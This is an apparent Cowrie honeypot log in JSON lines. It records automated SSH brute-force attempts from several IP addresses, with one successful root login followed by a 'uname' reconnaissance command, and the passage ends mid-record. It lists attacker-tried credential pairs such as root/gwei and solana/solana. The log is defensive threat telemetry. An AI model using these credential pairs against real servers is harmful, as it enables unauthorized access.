{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:39:06.158602Z","src_ip":"92.118.39.92","session":"472ce2076f0b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"gwei","message":"login attempt [root/gwei] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:39:06.517252Z","src_ip":"92.118.39.92","session":"472ce2076f0b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:39:06.877390Z","src_ip":"92.118.39.92","session":"472ce2076f0b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:39:06.880452Z","src_ip":"92.118.39.92","session":"472ce2076f0b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:39:06.995327Z","src_ip":"92.118.39.92","session":"472ce2076f0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:39:06.998841Z","src_ip":"92.118.39.92","session":"472ce2076f0b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","size":303,"shasum":"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855","duplicate":true,"duration":"180.0","message":"Closing TTY Log: var/lib/cowrie/tty/e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 after 180.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:39:11.979548Z","src_ip":"103.253.21.150","session":"689c40e5ea53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":180.61873841285706,"message":"Connection lost after 180 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:39:11.989393Z","src_ip":"103.253.21.150","session":"689c40e5ea53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":51510,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb3c28c12ee9","protocol":"ssh","message":"New connection: 195.178.110.218:51510 (159.203.135.109:22) [session: eb3c28c12ee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:39:40.481905Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:39:40.486439Z","src_ip":"195.178.110.218","session":"eb3c28c12ee9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:39:40.565964Z","src_ip":"195.178.110.218","session":"eb3c28c12ee9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"1234","message":"login attempt [solv/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:39:40.804283Z","src_ip":"195.178.110.218","session":"eb3c28c12ee9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:39:41.886168Z","src_ip":"195.178.110.218","session":"eb3c28c12ee9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":60774,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6a0aad423b9","protocol":"ssh","message":"New connection: 80.94.92.184:60774 (10.17.0.5:22) [session: e6a0aad423b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:40:31.345782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:40:31.371008Z","src_ip":"80.94.92.184","session":"e6a0aad423b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:40:31.459040Z","src_ip":"80.94.92.184","session":"e6a0aad423b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"12345678","message":"login attempt [ubuntu/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:40:32.459454Z","src_ip":"80.94.92.184","session":"e6a0aad423b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:40:33.765272Z","src_ip":"80.94.92.184","session":"e6a0aad423b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"39.102.55.188","src_port":51636,"dst_ip":"159.203.135.109","dst_port":22,"session":"567069c637a0","protocol":"ssh","message":"New connection: 39.102.55.188:51636 (159.203.135.109:22) [session: 567069c637a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:41:00.567336Z"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:41:00.572172Z","src_ip":"39.102.55.188","session":"567069c637a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":52192,"dst_ip":"159.203.135.109","dst_port":22,"session":"6874e2d0006d","protocol":"ssh","message":"New connection: 92.118.39.92:52192 (159.203.135.109:22) [session: 6874e2d0006d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:41:14.067085Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:41:14.073652Z","src_ip":"92.118.39.92","session":"6874e2d0006d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:41:14.211526Z","src_ip":"92.118.39.92","session":"6874e2d0006d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gwei","password":"gwei","message":"login attempt [gwei/gwei] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:41:14.509622Z","src_ip":"92.118.39.92","session":"6874e2d0006d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:41:15.609732Z","src_ip":"92.118.39.92","session":"6874e2d0006d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":51928,"dst_ip":"159.203.135.109","dst_port":22,"session":"160d6d09245c","protocol":"ssh","message":"New connection: 195.178.110.218:51928 (159.203.135.109:22) [session: 160d6d09245c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:42:11.681807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:42:11.686104Z","src_ip":"195.178.110.218","session":"160d6d09245c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:42:11.764493Z","src_ip":"195.178.110.218","session":"160d6d09245c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123","message":"login attempt [solv/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:42:12.003067Z","src_ip":"195.178.110.218","session":"160d6d09245c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:42:13.085004Z","src_ip":"195.178.110.218","session":"160d6d09245c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":39414,"dst_ip":"159.203.135.109","dst_port":22,"session":"d624e98213fc","protocol":"ssh","message":"New connection: 92.118.39.92:39414 (159.203.135.109:22) [session: d624e98213fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:43:19.583702Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:43:19.588098Z","src_ip":"92.118.39.92","session":"d624e98213fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:43:19.703325Z","src_ip":"92.118.39.92","session":"d624e98213fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web3","password":"web3","message":"login attempt [web3/web3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:43:20.009503Z","src_ip":"92.118.39.92","session":"d624e98213fc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:43:21.141294Z","src_ip":"92.118.39.92","session":"d624e98213fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":35274,"dst_ip":"10.17.0.5","dst_port":22,"session":"1b335b036bb6","protocol":"ssh","message":"New connection: 80.94.92.184:35274 (10.17.0.5:22) [session: 1b335b036bb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:43:39.438741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:43:39.574676Z","src_ip":"80.94.92.184","session":"1b335b036bb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:43:39.578214Z","src_ip":"80.94.92.184","session":"1b335b036bb6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:43:40.841977Z","src_ip":"80.94.92.184","session":"1b335b036bb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:43:42.268660Z","src_ip":"80.94.92.184","session":"1b335b036bb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.17","src_port":37452,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a901c96536a","protocol":"ssh","message":"New connection: 77.90.185.17:37452 (159.203.135.109:22) [session: 4a901c96536a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:44:01.092084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T00:44:01.096414Z","src_ip":"77.90.185.17","session":"4a901c96536a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm